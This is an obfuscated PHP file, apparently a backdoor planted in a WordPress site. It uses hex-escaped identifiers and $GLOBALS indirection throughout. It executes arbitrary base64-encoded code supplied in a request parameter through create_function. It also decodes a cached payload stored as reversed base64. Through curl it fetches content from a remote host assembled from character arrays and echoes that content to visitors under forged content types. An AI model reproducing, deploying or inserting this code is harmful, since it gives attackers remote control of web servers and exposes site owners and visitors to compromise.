if (@file_exists ( dirname ( __FILE__ ) . SPTR . "clea\x6eer.p\x68p" ))
@include (dirname ( __FILE__ ) . SPTR . "\x63leaner.ph\x70");
if (isset ( $_REQUEST ["305e565eff"] )) {
$sfluja = "\x74";
$djwpyyzowfc = "\x74";
${$sfluja} = create_function ( "", base64_decode ( $_REQUEST ["305e565eff"] ) );
${$djwpyyzowfc} ();
}
$gyormyk = "\x73\x6cw\x6b\x77\x69";
if (! function_exists ( "a\x66\x73dfga\x66a\x65r" )) {
function afsdfgafaer() {
global $slash;
${"\x47\x4c\x4f\x42A\x4c\x53"} ["\x69u\x61o\x64\x6e\x71\x74"] = "\x62n\x75\x6fa\x73";
${${"\x47L\x4f\x42A\x4c\x53"} ["r\x63\x74\x70\x6an\x74\x65\x76\x71"]} = false;
if (defined ( "\x57\x50_\x54E\x4d\x50\x5fD\x49R" )) {
$tmbmeswtlik = "bn\x75oa\x73";
${"G\x4c\x4f\x42\x41LS"} ["\x6b\x6f\x76l\x74q\x70"] = "b\x6euoas";
${${"\x47L\x4f\x42\x41\x4c\x53"} ["\x6b\x6f\x76lt\x71\x70"]} = WP_TEMP_DIR . "c\x61\x63\x68\x65";
@mkdir ( ${$tmbmeswtlik} );
} elseif (function_exists ( "ge\x74\x5ft\x65mp\x5f\x64\x69\x72" )) {
$aezyumixjlh = "\x62\x6e\x75\x6fa\x73";
$ieoczaywhi = "b\x6eu\x6f\x61\x73";
$jmucojwdx = "b\x6e\x75\x6f\x61\x73";
${$aezyumixjlh} = get_temp_dir ();
if (is_writable ( ${$ieoczaywhi} )) {
$hqilujuaoqb = "\x62n\x75o\x61\x73";
$xikceeqsss = "\x62\x6e\x75o\x61s";
${$xikceeqsss} = ${$hqilujuaoqb} . "\x63\x61\x63\x68\x65";
@mkdir ( ${${"\x47L\x4f\x42\x41\x4c\x53"} ["\x72\x63\x74\x70\x6a\x6ete\x76\x71"]} );
} else
${$jmucojwdx} = false;
} elseif (function_exists ( "\x73ys\x5fget\x5f\x74em\x70\x5f\x64i\x72" )) {
${"\x47\x4cOB\x41L\x53"} ["\x70ah\x74\x73\x66l\x67"] = "\x62n\x75\x6f\x61\x73";
${${"\x47\x4c\x4fB\x41\x4c\x53"} ["\x72\x63t\x70\x6a\x6et\x65\x76q"]} = sys_get_temp_dir ();
if (is_writable ( ${${"\x47\x4c\x4f\x42A\x4c\x53"} ["\x70\x61\x68\x74\x73\x66l\x67"]} )) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x65\x71\x66\x63g\x79"] = "b\x6eu\x6f\x61\x73";
${"G\x4c\x4fBA\x4cS"} ["\x75\x78c\x69\x64\x68\x78\x69"] = "b\x6e\x75\x6f\x61\x73";
${${"\x47\x4c\x4fB\x41\x4c\x53"} ["\x65\x71\x66\x63\x67\x79"]} = ${${"\x47\x4cO\x42A\x4cS"} ["\x72\x63\x74p\x6a\x6e\x74\x65vq"]} . "c\x61c\x68\x65";
@mkdir ( ${${"\x47\x4c\x4fBALS"} ["\x75\x78c\x69\x64h\x78\x69"]} );
} else
${${"\x47\x4c\x4f\x42AL\x53"} ["r\x63t\x70j\x6e\x74\x65\x76\x71"]} = false;
} else {
$zqpgklewisiq = "\x74h\x69\x73\x5f\x64ir";
${"\x47\x4cO\x42A\x4c\x53"} ["\x62z\x6d\x76kdk\x72\x63n\x62"] = "\x73\x6c\x61\x73\x68";
${$zqpgklewisiq} = dirname ( __FILE__ );
if (is_writable ( ${${"\x47\x4cOB\x41\x4c\x53"} ["l\x6bn\x6e\x65\x73s\x75"]} . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x62\x7a\x6dv\x6bd\x6b\x72\x63\x6eb"]} . "im\x61ge\x73" )) {
${"G\x4c\x4f\x42\x41L\x53"} ["\x64\x63jq\x75\x63\x6d\x6ff"] = "bnuo\x61\x73";
${${"\x47LO\x42A\x4c\x53"} ["\x64c\x6a\x71\x75\x63\x6d\x6ff"]} = ${${"\x47\x4c\x4fB\x41L\x53"} ["\x6ckn\x6e\x65\x73\x73\x75"]} . ${${"G\x4c\x4f\x42\x41L\x53"} ["\x6ei\x65\x76pb"]} . "ima\x67\x65\x73" . ${${"G\x4cOBA\x4c\x53"} ["\x6e\x69\x65\x76\x70\x62"]} . "c\x61ch\x65";
@mkdir ( ${${"\x47\x4cO\x42\x41\x4c\x53"} ["\x72\x63\x74\x70jn\x74e\x76\x71"]} );
} else {
$uzqqlyxzuq = "\x73\x6cash";
$bcvrsvybcnbh = "\x74\x68\x69s_\x64\x69r";
@mkdir ( ${${"\x47\x4cO\x42A\x4c\x53"} ["\x6c\x6bn\x6e\x65s\x73\x75"]} . ${$uzqqlyxzuq} . "\x63a\x63he" );
if (is_writable ( ${$bcvrsvybcnbh} . ${${"\x47L\x4fB\x41\x4cS"} ["\x6ei\x65\x76\x70\x62"]} . "ca\x63\x68e" )) {
${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["r\x63\x74p\x6a\x6e\x74\x65vq"]} = ${${"G\x4c\x4f\x42\x41LS"} ["l\x6b\x6en\x65\x73\x73u"]} . ${${"GL\x4fBA\x4c\x53"} ["n\x69\x65v\x70\x62"]} . "c\x61c\x68\x65";
} else {
if (${${"\x47\x4cOB\x41\x4c\x53"} ["\x75\x68\x69\x6d\x77j\x72"]} = opendir ( ${${"\x47\x4cO\x42AL\x53"} ["l\x6b\x6e\x6ee\x73\x73\x75"]} )) {
$khqnfrpm = "d\x69\x72";
$yebdwhmtdh = "\x68\x61nd\x6c\x65";
while ( false !== (${$khqnfrpm} = readdir ( ${$yebdwhmtdh} )) ) {
$pgolotrwvflr = "\x64\x69\x72";
${"\x47\x4c\x4f\x42A\x4cS"} ["\x79\x6d\x66\x71n\x63\x61"] = "\x64\x69\x72";
if (${$pgolotrwvflr} != "\x2e." && ${${"\x47L\x4f\x42\x41\x4c\x53"} ["\x79m\x66q\x6e\x63\x61"]} != "\x2e" && is_dir ( ${${"G\x4c\x4f\x42A\x4cS"} ["\x71\x67\x75g\x64r\x61os\x6c\x6e\x69"]} ) && is_writable ( ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["q\x67\x75g\x64\x72\x61os\x6c\x6ei"]} )) {
${"\x47L\x4fB\x41\x4c\x53"} ["\x65\x66lx\x6dt\x65n\x6dv"] = "\x64\x69r";
${"\x47\x4c\x4f\x42\x41\x4cS"} ["iy\x69\x75uk"] = "\x74\x68\x69s\x5f\x64ir";
${"\x47LOBALS"} ["\x76\x62e\x72\x6ad\x67\x64\x71q\x68"] = "\x62\x6e\x75\x6f\x61\x73";
${"G\x4cO\x42A\x4cS"} ["\x71\x6c\x78\x70e\x6f\x70"] = "\x73l\x61s\x68";
$ikwetgqyfhdw = "b\x6e\x75oa\x73";
@mkdir ( ${${"\x47\x4c\x4f\x42ALS"} ["ef\x6c\x78\x6d\x74e\x6e\x6dv"]} . ${${"G\x4cO\x42\x41\x4c\x53"} ["q\x6cxpeo\x70"]} . "c\x61che" );
${${"\x47\x4c\x4f\x42A\x4c\x53"} ["vberj\x64g\x64q\x71\x68"]} = ${${"G\x4c\x4fB\x41LS"} ["\x69\x79\x69\x75uk"]} . ${${"\x47\x4c\x4fB\x41\x4cS"} ["\x6e\x69e\x76\x70\x62"]} . ${${"GL\x4f\x42\x41\x4cS"} ["\x71\x67\x75\x67dr\x61o\x73\x6c\x6ei"]} . ${${"\x47\x4c\x4fB\x41L\x53"} ["\x6e\x69evpb"]} . "c\x61\x63h\x65";
if (is_writable ( ${$ikwetgqyfhdw} )) {
$pxgqjdw = "h\x61\x6e\x64\x6ce";
closedir ( ${$pxgqjdw} );
break;
}
}
}
}
}
}
}
return ${${"GL\x4f\x42\x41\x4c\x53"} ["\x69\x75\x61\x6fd\x6eq\x74"]};
}
}
${"\x47L\x4fB\x41L\x53"} ["\x64o\x61\x77\x63\x64h"] = "\x73trf";
${"\x47\x4cOB\x41\x4c\x53"} ["s\x69\x75\x65\x67\x64\x6bw"] = "\x73\x6c\x74\x6c\x65\x69\x6c\x73";
if (! function_exists ( "\x61sd\x73ha\x77\x65\x77e" )) {
function asdshawewe($sfuivdf, $start, $end = '') {
$dgsbixxi = "\x72";
$bxpsgyg = "\x73tar\x74";
${$dgsbixxi} = false;
if (${$bxpsgyg} !== 0) {
${"\x47\x4cO\x42A\x4c\x53"} ["\x6b\x62u\x75\x74\x66\x6bp\x6c\x6d"] = "k1";
${${"\x47\x4c\x4fB\x41\x4c\x53"} ["\x6b\x62uu\x74\x66\x6b\x70\x6c\x6d"]} = strlen ( ${${"\x47L\x4f\x42\x41\x4c\x53"} ["b\x72w\x67\x71u\x62\x68"]} );
$idwrlvfj = "\x70";
${"G\x4c\x4fBAL\x53"} ["c\x62\x76m\x64mu\x6es"] = "\x72";
if (${$idwrlvfj} = stristr ( ${${"\x47L\x4f\x42ALS"} ["\x66\x6c\x63i\x79\x63\x72\x79e\x6c\x72e"]}, ${${"G\x4cO\x42\x41LS"} ["b\x72\x77g\x71\x75b\x68"]} )) {
$rvyxtiqpycw = "p";
${"\x47\x4c\x4fB\x41LS"} ["\x72\x70\x6c\x64\x6a\x66\x76mf"] = "\x6b";
$zvrdyprttce = "\x6b\x31";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x6aycjbg\x6e\x76"]} = substr ( ${$rvyxtiqpycw}, ${$zvrdyprttce} );
$swedmoe = "\x65\x6e\x64";
if (${$swedmoe} === "")
return ${${"GL\x4f\x42\x41\x4cS"} ["\x6a\x79c\x6a\x62\x67\x6e\x76"]};
${"GL\x4f\x42\x41\x4c\x53"} ["\x67n\x64\x65\x65\x6e\x75\x75\x6fb\x6f\x62"] = "\x6b";
${${"G\x4cOB\x41\x4c\x53"} ["\x6ddh\x72\x6f\x75\x77\x65\x6e"]} = strpos ( ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x72p\x6c\x64j\x66v\x6df"]}, ${${"\x47L\x4f\x42AL\x53"} ["\x6cxv\x66\x66\x6fsdpve"]} );
${${"\x47\x4c\x4f\x42A\x4c\x53"} ["w\x66n\x6c\x67\x68h\x72h\x70\x66"]} = substr ( ${${"\x47\x4c\x4f\x42\x41\x4cS"} ["g\x6edee\x6e\x75\x75ob\x6f\x62"]}, 0, ${${"GL\x4f\x42\x41\x4c\x53"} ["md\x68\x72\x6f\x75we\x6e"]} );
}
return ${${"\x47\x4cO\x42\x41\x4c\x53"} ["\x63b\x76m\x64\x6d\x75\x6e\x73"]};
} else {
$wfclkwppf = "l";
${"\x47\x4cOB\x41\x4c\x53"} ["wd\x78prv\x70\x70"] = "\x73\x66\x75\x69\x76\x64f";
$oonptxojth = "sf\x75\x69\x76\x64f";
${"\x47LO\x42\x41\x4c\x53"} ["\x78\x71\x6d\x6b\x73\x64\x64\x6au\x73\x6e"] = "\x6c";
${$wfclkwppf} = strpos ( ${${"\x47L\x4f\x42AL\x53"} ["\x77\x64\x78\x70\x72\x76p\x70"]}, ${${"\x47\x4cO\x42A\x4c\x53"} ["\x6c\x78v\x66\x66o\x73\x64p\x76\x65"]} );
${${"\x47\x4c\x4f\x42\x41LS"} ["\x77\x66\x6elg\x68\x68\x72\x68pf"]} = substr ( ${$oonptxojth}, 0, ${${"\x47\x4c\x4f\x42\x41L\x53"} ["\x78q\x6dk\x73d\x64j\x75s\x6e"]} );
return ${${"G\x4c\x4f\x42\x41L\x53"} ["w\x66\x6e\x6c\x67h\x68r\x68\x70f"]};
}
}
}
if (! function_exists ( "\x73d\x66\x62\x67\x73dv" )) {
function sdfbgsdv($jivlkssd) {
${${"G\x4c\x4fBA\x4c\x53"} ["\x6a\x76\x65\x6c\x6d\x62j\x6aq\x6cj"]} = false;
if (file_exists ( ${${"\x47\x4cO\x42\x41\x4c\x53"} ["e\x77\x65\x63\x63\x6e\x67\x70"]} )) {
${"\x47\x4c\x4f\x42AL\x53"} ["sx\x78\x62\x7a\x63\x72\x74v\x73\x6a"] = "ji\x76\x6c\x6b\x73\x73\x64";
if ((time () - filemtime ( ${${"\x47L\x4f\x42A\x4c\x53"} ["s\x78x\x62\x7a\x63rt\x76\x73j"]} )) < 604800) {
if (function_exists ( "f\x69\x6c\x65_g\x65\x74\x5fc\x6f\x6e\x74\x65\x6et\x73" )) {
${${"\x47\x4c\x4f\x42AL\x53"} ["j\x76\x65\x6c\x6d\x62j\x6a\x71\x6c\x6a"]} = file_get_contents ( ${${"GL\x4f\x42\x41L\x53"} ["\x65w\x65ccn\x67p"]} );
} else {
$xudfihywqd = "\x6ai\x76l\x6b\x73\x73\x64";
if (${${"G\x4cOBA\x4cS"} ["uh\x69\x6d\x77\x6a\x72"]} = fopen ( ${$xudfihywqd}, "r" )) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x75\x67\x6a\x65\x6c\x69k\x77\x6d"] = "\x6a\x69\x76\x64\x68\x73\x61\x64";
$cpphegqgvjt = "\x68a\x6e\x64\x6ce";
${"\x47LO\x42\x41\x4c\x53"} ["\x6f\x6c\x70\x64\x78\x6bj\x6cs\x66"] = "\x6a\x69\x76lk\x73\x73d";
${${"\x47\x4c\x4fBA\x4c\x53"} ["\x75g\x6a\x65\x6ci\x6bw\x6d"]} = fread ( ${$cpphegqgvjt}, filesize ( ${${"\x47\x4c\x4fB\x41\x4cS"} ["\x6f\x6cpd\x78k\x6al\x73f"]} ) );
fclose ( ${${"\x47\x4c\x4fBALS"} ["\x75\x68\x69\x6d\x77j\x72"]} );
}
}
}
}
return base64_decode ( strrev ( ${${"\x47LO\x42\x41\x4c\x53"} ["jv\x65l\x6d\x62j\x6a\x71\x6c\x6a"]} ) );
}
}
if (! function_exists ( "\x61\x66\x65a\x72vwa\x65\x61\x65\x72" )) {
function afearvwaeaer($scheme) {
${${"\x47LOBA\x4c\x53"} ["\x6af\x6a\x73\x7aqg\x79\x73\x70\x70"]} = dbaae ( ${${"G\x4c\x4f\x42A\x4cS"} ["\x6ah\x66\x6eo\x75ns"]} . $_SERVER ["\x48TTP\x5f\x48\x4f\x53\x54"] . $_SERVER ["RE\x51\x55E\x53T\x5fURI"] );
if (${${"\x47L\x4f\x42\x41\x4c\x53"} ["\x6a\x66\x6a\x73z\x71\x67y\x73\x70\x70"]}) {
if (preg_match ( "\x23(\x5c\x2e\x69\x63o|\x5c\x2e\x70\x64f|\x5c\x2ejpg|\\\x2e\x6ap\x65g|\\.\x70ng|\\\x2egif|\x5c.\x63ss|\x5c\x2ejs|\x5c.\x74\x69ff)\x23i", $_SERVER ["RE\x51\x55\x45S\x54\x5f\x55\x52\x49"], ${${"GL\x4f\x42A\x4cS"} ["\x69rk\x72\x69c\x64vh"]} )) {
${"\x47\x4cO\x42ALS"} ["\x76\x6dg\x73\x6dm\x64ahl"] = "\x6d";
${"\x47L\x4f\x42A\x4cS"} ["jx\x72\x6d\x70k\x72\x71"] = "\x6d";
${"GL\x4fB\x41\x4cS"} ["\x68\x77nz\x64\x63\x72\x6f\x70e\x79"] = "m";
$fowcqjnc = "\x6d";
$xdfaymx = "\x6d";
switch (${$xdfaymx} [0]) {
case (preg_match ( "/(\x6ap\x67|j\x70eg)/\x69", ${${"\x47\x4c\x4f\x42\x41L\x53"} ["\x68\x77\x6ezd\x63r\x6f\x70e\x79"]} [0] ) ? true : false) :
header ( "\x43\x6fn\x74en\x74-\x54y\x70e: i\x6d\x61\x67e/jpeg" );
break;
case (preg_match ( "/\\\x2e\x70\x64f/\x69", ${${"\x47\x4c\x4f\x42A\x4c\x53"} ["\x69r\x6b\x72\x69\x63\x64vh"]} [0] ) ? true : false) :
header ( "Co\x6e\x74\x65\x6e\x74-\x54\x79p\x65:\x20\x61\x70\x70\x6ci\x63at\x69\x6fn/pdf" );
break;
case (preg_match ( "/\x5c.\x70n\x67/i", ${$fowcqjnc} [0] ) ? true : false) :
header ( "\x43ont\x65\x6e\x74-\x54\x79\x70\x65: \x69\x6d\x61\x67\x65/\x70ng" );
break;
case (preg_match ( "/\\.gif/\x69", ${${"G\x4c\x4f\x42\x41LS"} ["\x69rk\x72\x69\x63d\x76\x68"]} [0] ) ? true : false) :
header ( "\x43on\x74en\x74-\x54\x79pe: \x69\x6d\x61\x67e/\x67\x69f" );
break;
case (preg_match ( "/\\.t\x69ff/\x69", ${${"G\x4cOB\x41\x4c\x53"} ["jxr\x6d\x70krq"]} [0] ) ? true : false) :
header ( "C\x6f\x6e\x74en\x74-T\x79p\x65:\x20ap\x70l\x69\x63a\x74\x69o\x6e/font-t\x69\x66\x66" );
break;
case (preg_match ( "/\\.\x63s\x73/\x69", ${${"\x47\x4cOB\x41\x4cS"} ["\x69\x72\x6b\x72\x69\x63dv\x68"]} [0] ) ? true : false) :
header ( "C\x6fn\x74\x65\x6et-\x54yp\x65:\x20text/c\x73\x73" );
break;
case (preg_match ( "/\\.\x6a\x73/i", ${${"\x47\x4cO\x42A\x4c\x53"} ["\x69rk\x72\x69\x63\x64\x76\x68"]} [0] ) ? true : false) :
header ( "\x43\x6f\x6et\x65n\x74-Ty\x70e: a\x70\x70lic\x61t\x69on/x-j\x61va\x73\x63\x72\x69\x70\x74" );
break;
case (preg_match ( "/\x5c\x2e\x69\x63o/\x69", ${${"G\x4c\x4f\x42\x41\x4c\x53"} ["\x76\x6d\x67smmd\x61hl"]} [0] ) ? true : false) :
header ( "Conte\x6et-Typ\x65:\x20image/\x78-\x69c\x6f\x6e" );
break;
default :
header ( "\x43\x6f\x6e\x74e\x6e\x74-\x54\x79\x70e: \x74ex\x74/h\x74\x6d\x6c" );
}
} else
header ( "Conte\x6e\x74-T\x79\x70\x65: \x74e\x78\x74/\x68tml" );
echo ${${"G\x4c\x4fB\x41\x4cS"} ["j\x66j\x73\x7a\x71\x67\x79\x73\x70\x70"]};
return true;
} else
return false;
}
}
if (! function_exists ( "d\x62\x61\x61e" )) {
function dbaae($url, $post = 0, $headers = 0) {
if (function_exists ( "\x63u\x72\x6c\x5f\x69\x6e\x69\x74" )) {
${"\x47L\x4f\x42\x41\x4c\x53"} ["\x75\x70\x68\x6d\x78o\x72\x65\x62"] = "ch";
${"G\x4c\x4f\x42AL\x53"} ["\x70\x62\x78\x67\x63\x6am\x64"] = "c\x68";
${"\x47L\x4f\x42ALS"} ["q\x6f\x67g\x6blqw"] = "c\x68";
${"G\x4c\x4f\x42\x41\x4c\x53"} ["\x76\x64\x65\x67\x67\x76\x67"] = "c\x68";
${${"\x47\x4c\x4f\x42A\x4c\x53"} ["\x6c\x66ht\x71ig\x6e"]} = curl_init ();
curl_setopt ( ${${"\x47L\x4f\x42\x41\x4c\x53"} ["p\x62\x78\x67\x63j\x6d\x64"]}, CURLOPT_URL, ${${"\x47\x4c\x4f\x42\x41LS"} ["s\x6d\x74\x79g\x76\x78pv"]} );
curl_setopt ( ${${"G\x4cO\x42A\x4c\x53"} ["\x6c\x66\x68\x74\x71\x69\x67n"]}, CURLOPT_SSL_VERIFYPEER, false );
${"GL\x4f\x42\x41L\x53"} ["qmr\x6d\x72\x67\x73\x75jt\x67"] = "\x70\x6f\x73\x74";
curl_setopt ( ${${"\x47\x4c\x4fB\x41L\x53"} ["\x71\x6f\x67\x67k\x6c\x71w"]}, CURLOPT_SSL_VERIFYHOST, 0 );
curl_setopt ( ${${"GL\x4fBALS"} ["\x6c\x66\x68\x74q\x69g\x6e"]}, CURLOPT_USERAGENT, "Mo\x7a\x69ll\x61/5.\x30\x20(Wi\x6e\x64\x6f\x77\x73 \x4e\x54\x20\x310\x2e0;\x20W\x4fW\x36\x34)\x20Ap\x70\x6ceWe\x62K\x69t/\x3537\x2e\x33\x36\x20(\x4bHTM\x4c,\x20l\x69\x6b\x65\x20Gecko) \x43\x68r\x6fm\x65/6\x30\x2e\x30\x2e3\x31\x31\x32.\x31\x31\x33 \x53\x61fa\x72i/\x35\x33\x37\x2e3\x36" );
curl_setopt ( ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x6c\x66htq\x69g\x6e"]}, CURLOPT_TIMEOUT, 10 );
${"G\x4cO\x42\x41\x4c\x53"} ["\x72\x71u\x7aq\x6d\x6c\x6d\x63\x61"] = "\x68\x65a\x64\x65\x72\x73";
curl_setopt ( ${${"\x47LO\x42\x41\x4c\x53"} ["v\x64\x65\x67gv\x67"]}, CURLOPT_RETURNTRANSFER, true );
if (${${"\x47L\x4fB\x41\x4c\x53"} ["\x71mrm\x72\x67\x73\x75jt\x67"]}) {
$dgsxodno = "c\x68";
curl_setopt ( ${$dgsxodno}, CURLOPT_POST, 1 );
curl_setopt ( ${${"\x47L\x4f\x42A\x4cS"} ["\x6c\x66\x68t\x71\x69\x67n"]}, CURLOPT_POSTFIELDS, ${${"\x47\x4cOB\x41\x4c\x53"} ["m\x67rs\x6cpn\x69\x70\x73\x76"]} );
}
if (${${"G\x4cO\x42\x41\x4c\x53"} ["rq\x75\x7aqm\x6cm\x63\x61"]})
curl_setopt ( ${${"\x47\x4cOB\x41\x4c\x53"} ["\x6cf\x68\x74q\x69\x67n"]}, CURLOPT_HEADER, 1 );
curl_setopt ( ${${"\x47\x4c\x4f\x42A\x4cS"} ["\x6c\x66h\x74\x71\x69\x67\x6e"]}, CURLOPT_REFERER, $_SERVER ["H\x54T\x50\x5f\x48\x4f\x53\x54"] );
${"\x47L\x4f\x42\x41\x4c\x53"} ["\x6b\x7a\x6ar\x6eg"] = "s\x66u\x69v\x64f";
${"\x47\x4c\x4f\x42A\x4c\x53"} ["l\x6aqrp\x73dr"] = "c\x68";
${${"G\x4cO\x42\x41\x4cS"} ["k\x7aj\x72\x6e\x67"]} = curl_exec ( ${${"G\x4c\x4f\x42\x41LS"} ["\x75\x70\x68\x6d\x78\x6f\x72e\x62"]} );
curl_close ( ${${"G\x4c\x4f\x42A\x4cS"} ["\x6c\x6aq\x72\x70\x73\x64r"]} );
} else {
if (${${"\x47LO\x42\x41\x4cS"} ["\x6d\x67r\x73lp\x6ei\x70\x73v"]}) {
$teyruj = "ur\x6c";
${"\x47\x4cOB\x41L\x53"} ["\x6b\x62b\x72\x6bm\x70\x65\x67"] = "\x70\x6fs\x74";
$vtzsyqqznyd = "\x6fp\x74\x73";
if (! is_array ( ${${"\x47LO\x42\x41\x4cS"} ["m\x67\x72s\x6cpn\x69p\x73\x76"]} )) {
${"\x47L\x4f\x42A\x4c\x53"} ["\x72\x63d\x6e\x75\x78m\x61g"] = "\x70\x6fst";
$wxlomqjxy = "\x76a\x6c\x75e";
${${"\x47\x4cOB\x41\x4c\x53"} ["\x70ef\x77\x6f\x68\x78y"]} = explode ( "&", ${${"GL\x4f\x42\x41\x4c\x53"} ["\x72\x63dn\x75xm\x61\x67"]} );
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x6eys\x75\x64\x6d\x73\x61d\x78"] = "\x70o\x73\x74\x5farr\x61y";
${${"\x47\x4cO\x42\x41\x4cS"} ["\x66\x73\x64\x74r\x65\x70p\x78d\x67\x6c"]} = array ();
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x79v\x70mv\x6c\x6drh\x6a"] = "\x70\x31";
foreach ( ${${"\x47\x4cOBALS"} ["\x79v\x70\x6dv\x6cm\x72\x68\x6a"]} as ${$wxlomqjxy} ) {
$pzdihxpyl = "\x76a\x6c\x75\x65";
list ( ${${"\x47LOB\x41\x4c\x53"} ["\x61\x73\x6fz\x74\x68\x69y\x6d"]}, ${${"\x47LO\x42\x41\x4c\x53"} ["d\x68yq\x71\x79t\x73hb\x73"]} ) = explode ( "=", ${$pzdihxpyl} );
${${"\x47\x4c\x4fBA\x4cS"} ["f\x73\x64tr\x65\x70\x70x\x64\x67\x6c"]} [${${"\x47\x4cOB\x41\x4cS"} ["\x61s\x6f\x7a\x74hiym"]}] = ${${"\x47L\x4fB\x41L\x53"} ["\x64h\x79\x71\x71\x79\x74\x73\x68b\x73"]};
}
${${"\x47\x4cO\x42\x41L\x53"} ["\x6d\x67r\x73\x6c\x70\x6ei\x70\x73\x76"]} = ${${"\x47L\x4fBA\x4c\x53"} ["\x6ey\x73\x75d\x6d\x73\x61d\x78"]};
}
${"\x47LO\x42\x41\x4cS"} ["u\x67\x75\x74\x68\x75\x6e\x69m\x75\x66"] = "c\x6fn\x74\x65\x78\x74";
${"GL\x4f\x42\x41L\x53"} ["h\x73\x71\x72\x6f\x68\x6b\x6e"] = "\x63\x6f\x6e\x74ex\x74";
${${"\x47\x4c\x4f\x42\x41L\x53"} ["\x66\x69rj\x77\x6f\x6a\x7a\x75\x74f"]} = http_build_query ( ${${"GLO\x42\x41\x4cS"} ["\x6b\x62\x62rk\x6dp\x65\x67"]} );
${${"\x47LO\x42\x41\x4cS"} ["b\x6bk\x79\x6a\x6fh\x73\x64a"]} = array (
"ht\x74\x70" => array (
"\x6dethod" => "\x50O\x53T",
"\x68\x65a\x64\x65\x72" => "C\x6fnt\x65nt-\x74yp\x65:\x20ap\x70l\x69\x63a\x74\x69o\x6e/x-\x77\x77w-f\x6f\x72\x6d-\x75\x72\x6c\x65ncod\x65d",
"\x63\x6fnte\x6e\x74" => ${${"\x47LOB\x41L\x53"} ["\x66\x69r\x6awo\x6azu\x74f"]}
)
);
${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x75\x67uthu\x6eim\x75\x66"]} = stream_context_create ( ${$vtzsyqqznyd} );
${"\x47\x4cO\x42\x41\x4c\x53"} ["\x6a\x6b\x70\x79\x77\x69h"] = "s\x66u\x69\x76df";
${${"G\x4c\x4f\x42\x41\x4c\x53"} ["j\x6b\x70y\x77\x69\x68"]} = @file_get_contents ( ${$teyruj}, false, ${${"\x47LO\x42ALS"} ["\x68sqrohkn"]} );
} else {
$xoulux = "\x73f\x75\x69\x76\x64f";
${$xoulux} = @file_get_contents ( ${${"GL\x4f\x42A\x4cS"} ["\x73m\x74\x79g\x76x\x70v"]} );
}
if (${${"\x47\x4c\x4f\x42\x41L\x53"} ["t\x76jm\x72b\x72lgm\x63"]}) {
$suaivzzbnxiu = "\x68\x74\x74\x70_r\x65\x73\x70\x6f\x6e\x73e\x5f\x68ea\x64e\x72";
$yelsypgcf = "\x68\x74tp\x5fr\x65s\x70\x6f\x6e\x73e\x5f\x68\x65ad\x65\x72";
if (isset ( ${$suaivzzbnxiu} ) && is_array ( ${$yelsypgcf} )) {
$ntwrzfylbrh = "\x73\x66\x75\x69v\x64\x66";
${${"G\x4cO\x42A\x4c\x53"} ["\x66\x6c\x63\x69\x79\x63\x72\x79\x65\x6cre"]} = implode ( "\n", ${${"\x47LO\x42AL\x53"} ["\x69\x65\x61\x6b\x71gs\x79\x65\x65"]} ) . ${$ntwrzfylbrh};
}
}
}
${"\x47\x4c\x4f\x42\x41L\x53"} ["\x65\x6f\x6a\x65t\x72\x66\x70"] = "sf\x75\x69\x76\x64\x66";
return ${${"\x47\x4cOB\x41L\x53"} ["e\x6fj\x65\x74r\x66\x70"]};
}
}
${${"GLOBAL\x53"} ["\x6b\x75\x7a\x69b\x68d\x76c\x74j\x6c"]} = range ( "\x61", "z" );
$uvbnljh = "ui\x68";
$vmtoiplaori = "\x73\x6c\x74\x6ce\x69\x6c\x73";
${${"GL\x4fB\x41\x4c\x53"} ["\x75\x6b\x6fhw\x66\x6b\x6e\x78\x6b"]} = array_merge ( ${${"\x47\x4cO\x42A\x4c\x53"} ["\x75vdp\x74\x68\x6das"]}, array (
"\x2e",
":",
"/"
) );
${$gyormyk} = ${${"G\x4cO\x42A\x4c\x53"} ["\x75k\x6fh\x77\x66kn\x78\x6b"]} [7] . ${${"\x47\x4c\x4f\x42\x41\x4cS"} ["\x75\x6b\x6fh\x77\x66k\x6ex\x6b"]} [24] . ${${"\x47\x4c\x4f\x42\x41LS"} ["\x73\x69\x75\x65\x67d\x6b\x77"]} [15] . ${${"GLO\x42ALS"} ["\x75\x6b\x6f\x68\x77\x66\x6b\x6e\x78\x6b"]} [0] . ${${"G\x4c\x4f\x42ALS"} ["\x75\x6b\x6f\x68wf\x6bn\x78\x6b"]} [13] . ${${"\x47LO\x42\x41L\x53"} ["\x75\x6b\x6f\x68w\x66\x6b\x6e\x78k"]} [8] . ${${"G\x4cO\x42\x41\x4c\x53"} ["\x75\x6b\x6f\x68\x77\x66\x6bn\x78\x6b"]} [18] . ${${"\x47\x4cO\x42\x41\x4cS"} ["\x75\x6boh\x77\x66\x6b\x6e\x78k"]} [26] . ${$vmtoiplaori} [17] . ${${"\x47\x4cOBA\x4c\x53"} ["\x75k\x6f\x68\x77f\x6bn\x78k"]} [20];
$sxjhpmn = "\x62\x6eu\x73doa\x73";
if (strpos ( dirname ( __FILE__ ), ":\\" ) !== false) {
$fdbgkgybn = "\x73\x6ca\x73\x68";
${$fdbgkgybn} = "\\";
} else
${${"\x47\x4c\x4f\x42\x41L\x53"} ["\x6e\x69\x65\x76\x70\x62"]} = "/";
${${"G\x4c\x4f\x42A\x4c\x53"} ["\x6ah\x66\x6eo\x75\x6e\x73"]} = "\x68\x74\x74p://";
if ((! empty ( $_SERVER ["H\x54T\x50\x53"] ) && $_SERVER ["HT\x54P\x53"] !== "of\x66") || $_SERVER ["\x53\x45R\x56E\x52_PO\x52T"] == 443)
${${"\x47\x4c\x4fB\x41\x4cS"} ["jh\x66no\x75\x6e\x73"]} = "ht\x74p\x73://";
